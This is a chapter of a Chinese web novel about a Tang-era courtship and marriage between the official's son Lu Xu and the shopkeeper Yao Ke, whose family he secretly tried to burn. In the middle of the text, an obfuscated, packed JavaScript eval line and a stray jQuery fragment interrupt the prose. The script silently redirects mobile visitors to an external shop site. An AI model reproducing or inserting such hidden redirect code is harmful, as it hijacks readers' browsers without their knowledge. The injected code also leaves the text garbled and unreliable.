“不要在这捣乱,快滚。”华衣公子冷冷道。
"你是谁?多管什么闲事?"李甲、赵乙打量他衣着虽价值不菲,但又觉得这种小店也不太应该会有什么贵人光顾,便只在言语上收敛了一些。
华衣公子向小厮长风使了一个眼色,长风立刻从怀中掏出两锭银子分别丢给两个无赖,无赖们接住银子,眼中闪烁着贪婪的光芒。两个人小声嘀咕了两句,李甲道:“算了,看在银子的份上,今日就给你个面子。”
说罢,便拉着赵乙离开了。
姚珂此时正痴痴愣愣地站着,半晌说不出话来,她怎么也想不到,自己竟会在这样窘迫的时候看到那个朝思暮想的人。
那人如神兵一般天降,拯救自己于水火,她回过神,虽然内心抑制不住地激动,但口中还是酸溜溜道:“陆公子,您何需贵足踏贱地,想吃什么招呼下人来说一声,奴家叫芸儿送去您府上就是了。”
陆诩一身月白色的云纹暗花锦袍,轩昂魁伟,英姿勃勃。他上前一步,凑近姚珂,贴着她的耳朵小声道:“珂儿,你这是在生我的气吗?我前阵子奉陛下的旨意去洛阳公干,因此才未能得空来找你。但我人虽不在这里,心中可是一直都挂念着你,你瞧,昨日刚述过职,今日不就赶紧抽空来看你了?”
姚珂闻言面色一红,后退一步嗔怪道:“这话我可不信,陆公子何必专程跑来哄我?若叫旁人瞧着,怕是要误会我们之间有什么,如此岂不是平白污了公子您的名声。”
说完,她便扭身往铺子里面走,走到门口时,她顿住脚步,回眸睨了他一眼后才进去,那眼神中似有万千情思,欲语还休。
陆诩会心一笑,跟在她身后也走进了后宅里,只留芸儿和长风两人面面相觑。
经这么一闹,食肆里本就不多的客人早就散了,武椤见里面被翻得乱七八糟,料想今日应当买不到点心,便也离开了。
屋内,姚珂乖巧地靠在陆诩怀中,鼻尖红红仿佛刚刚哭过。她不住埋怨道:“诩郎一走就是好几个月,连句话都没有,我当真担心得紧。”
陆诩拨弄着她的鬓发,用指腹轻轻抚摸着她的脸。姚珂仰头,望向他的目光缱绻缠绵,他忍不住低头轻啄一下她颊上的梨涡,轻声细语哄她道:“珂儿,我这次回来,想必要不了多久便能升迁了,等到时候,我立刻就让母亲来提亲可好?”
姚珂闻言喜不自胜,含羞带怯,低头垂眸。她用莹白的指尖在陆诩的胸口缓缓轻点划圈,娇嗔道:“那自然是好,可我知道自己的情况,根本配不上诩郎,我只求能留在你身边,哪怕只是做个侍妾也是心满意足的。”
陆诩看她这副模样,嘴角忍不住上扬,心中不免也有些得意,继续哄道:“你放心,无论发生何事,我们都会是一对神仙眷侣,永远都不分开。”
“诩郎,你真好。”姚珂也笑了,她的眼角有泪水滑落。
两人又继续温存了好一会,姚珂才悄悄将他从后门送了出去。她站在门外,恋恋不舍地看他走远,直到陆诩的身影消失在巷口才转身回去。
回程的路上,长风忍不住道:“公子,那姚小姐的脸,居然真的恢复如初了,长安居然真有医术这样高明的大夫!”
“这就是不幸中的万幸了。”陆诩庆幸道:“谁知道两个老东西命那样大,当初找人去放的那把火非但没烧死他们,反倒是伤了珂儿的脸,幸好如今治好了,否则还真是可惜。”
长风也附和道:“那还是因为公子您有福气,不过小的不明白,那姚小姐到底有哪里好,您竟如此放不下,拉拉扯扯了这么久,还费了那么些功夫,难道您是真打算要将她娶回府里吗?”
“长风,你不觉得她虽然家世不好,但却温柔懂事,勉强也算得上是个良配吗?况且,她对我这般死心塌地,我怎好辜负她呢。”
长风暗暗腹诽,依公子您的条件,若不是因为有那样的难言之隐,又怎会看上这样出身的女子。
说话间,二人已回到了崇贤坊。恰逢祠部郎中陆松云今日休沐,见陆诩从外面回来,便面露不悦,呵斥道:“诩儿,你这一大清早便不在府里,难道又是去找那个女子厮混了么?”
陆诩上前行礼道:“父亲安好,我的确心悦姚小姐已久,还望父亲母亲能早日为我安排。”
陆松云闻言更加恼怒,责骂道:“胡闹!一个低贱的平民女子,又无父无母无甚家世,现在还成了那样的相貌,哪里能配得上你!”
陆诩苦苦哀求:“父亲,珂儿的容貌已经恢复如初,这是儿子亲眼所见,断断不会作假。况且儿子已经耗到了这般年纪还无法成家,难道是因为自己不想迎娶一位门当户对的夫人吗?还不是因为生了那样的不能言说的隐疾!儿子知道世间根本不可能会有能接受的高门贵女,唯有这样的小门小户才好拿捏,倘若父亲还不愿成全,儿子不但会一直被人耻笑,恐怕这辈子都只能孤独终老了!”
陆松云气极,怒斥道:“一派胡言!只要我在一天,就绝不可能让这种女子进门,你想都不要想了!”见陆诩还想争辩,便叫他滚回自己院子待着,而后拂袖离去了。
长风见陆松云离开,才敢上前劝道:“公子,老爷这几日心情不好,您不如缓几天再去求,长风晚上再陪您去平康坊的不羡仙饮酒散心吧?”
陆诩烦躁地挥挥手,拒绝道:“不去不去,没看本公子正心烦,你快去看看母亲可有空,说我稍后去拜见她。”
长风赶忙答应,小跑着去了。
长安,西市南侧,怀远坊。
芸儿将铺子收拾停当,回到后院,见姚珂正坐在院中哼着小调洗衣,似乎心情大好的样子,芸儿试探问道:“小姐,陆公子今日来可有同您说些什么吗?”
姚珂放下手中的活计,笑道:“自然有了,芸儿,要不了多久我就会和诩郎成亲,等到那时,我们就能过上好日子,再也不必再像现在这样辛苦了!”
小丫鬟闻言终于松了口气,也很为她高兴:“那真是太好了,恭喜小姐,您总算是要熬出头了!”
姚珂也开心地道:“是啊,那陆老爷虽然官职不高,可颇有些家底;陆公子年纪虽有些大,但也算有个正经官职,不枉我等了他这么久,如今终于能如愿以偿了!”
“奴婢看那陆公子对您也十分用心,日后你们一定能琴瑟和谐。”
“傻芸儿,男子的真心瞬息万变,是这世间最不牢靠的东西,我也不奢望能与他琴瑟和谐,只要他能让我安稳地做陆夫人就好。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968790|214616||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“小姐,您这就多虑了,陆公子一定不会变心的。”
”只可惜父亲和母亲如今不知身在何处。“姚珂突然又有些伤心,道:“希望他们还平安,若是能在婚礼举行前回来,那就更好了。”
“官府还一直在找她们,小姐也不要灰心,老爷和夫人都是那样好的人,上天一定会保佑他们平安的。”
“唉,你说得对,至少现在还没有什么坏消息。”
“您恢复了容貌,又能和陆公子喜结连理,终于是苦尽甘来,往后的日子也一定会越来越好的。只是那这间铺子日后该怎么办呢?”
“卖掉吧,以后我们都不会再回来了,不如换成银钱傍身。”
“也好,小姐想得真周到。”
二人说话间,远处的夕阳摇摇欲坠,天色逐渐暗了下去。
三日后,崇贤坊,陆府。
陆夫人非常宠爱这个独子,虽然陆老爷依旧对这场婚事百般不满,可却拗不过夫人,于是在陆诩的坚持下,陆府纳采的礼物终于还是送到了姚珂手上。
姚珂欣喜地吩咐芸儿将这些酒黍稷稻收起来,芸儿一边整理,一边小声抱怨道:“小姐,纳采礼里怎么连只聘雁都没有,这陆府也太不讲礼数了吧?”
姚珂却坦然道:“芸儿,诩郎能如约来娶我就可以了,难道你觉得我有资格同他去争那些繁文缛节吗?”
“话虽是这样,但只是纳采都这样敷衍了,后面的问名、纳吉、纳征还不知会怎样呢……”
“好了,芸儿,不要说了,只要诩郎爱我,我和他之间便无需计较这些,我只求能顺利与他成婚,其他都不重要。”
看着自家小姐将姿态放得这般低,虽不忍心,但芸儿也能明白她的无奈,最终只能赞同道:“也对,还是小姐想得周到。”
陆家之后果然没有完全依礼而行,只是草草地定了个吉日,派了一驾披红挂彩的马车去将人接进了府里。
到了陆府,陆诩用弓箭象征性地射向彩车,为驱邪避祟之意。姚珂穿着自己亲手缝制的嫁衣,手中持着一把团扇遮面,被芸儿搀扶着走下马车。
陆诩牵起姚珂的手走入正堂,进行沃盥礼,洗净双手之后,接着便是同牢礼。两人相对而坐,共食一份羊肉,以示双方日后同甘共苦的决心。
坐在上首的陆松云和夫人陆陈氏看着两位新人,陆赵氏心中十分欣慰,陆松云的面色却依旧隐隐不悦,冷哼道:“你们母子居然瞒着我,就这样把儿子的终身大事办好了。”
“低声些!”陆赵氏柳眉一挑,不高兴了:“老爷你主外,妾身主内,这些后宅之事,自然是妾身自己做主了。”
“夫人实在是糊涂,这样低贱的商女,怎配进我陆家的门?”
陆赵氏冷笑道:“好了,诩儿的身子无法人道老爷你不是不知道,就不要再挑三拣四的了,再拖着不给他娶一门亲事回来,万一被旁人说出闲话,丢的还不是你陆家的脸?这商女总归是个性子软好拿捏的,日后便是知道了也闹不出什么风浪,只要他们两个能好好过日子,其他的老爷你就休要再提了。”
“你们……唉……”陆松云向来有些惧内,怕陆赵氏当真生气,只能小声哼哼两声,不敢再还嘴。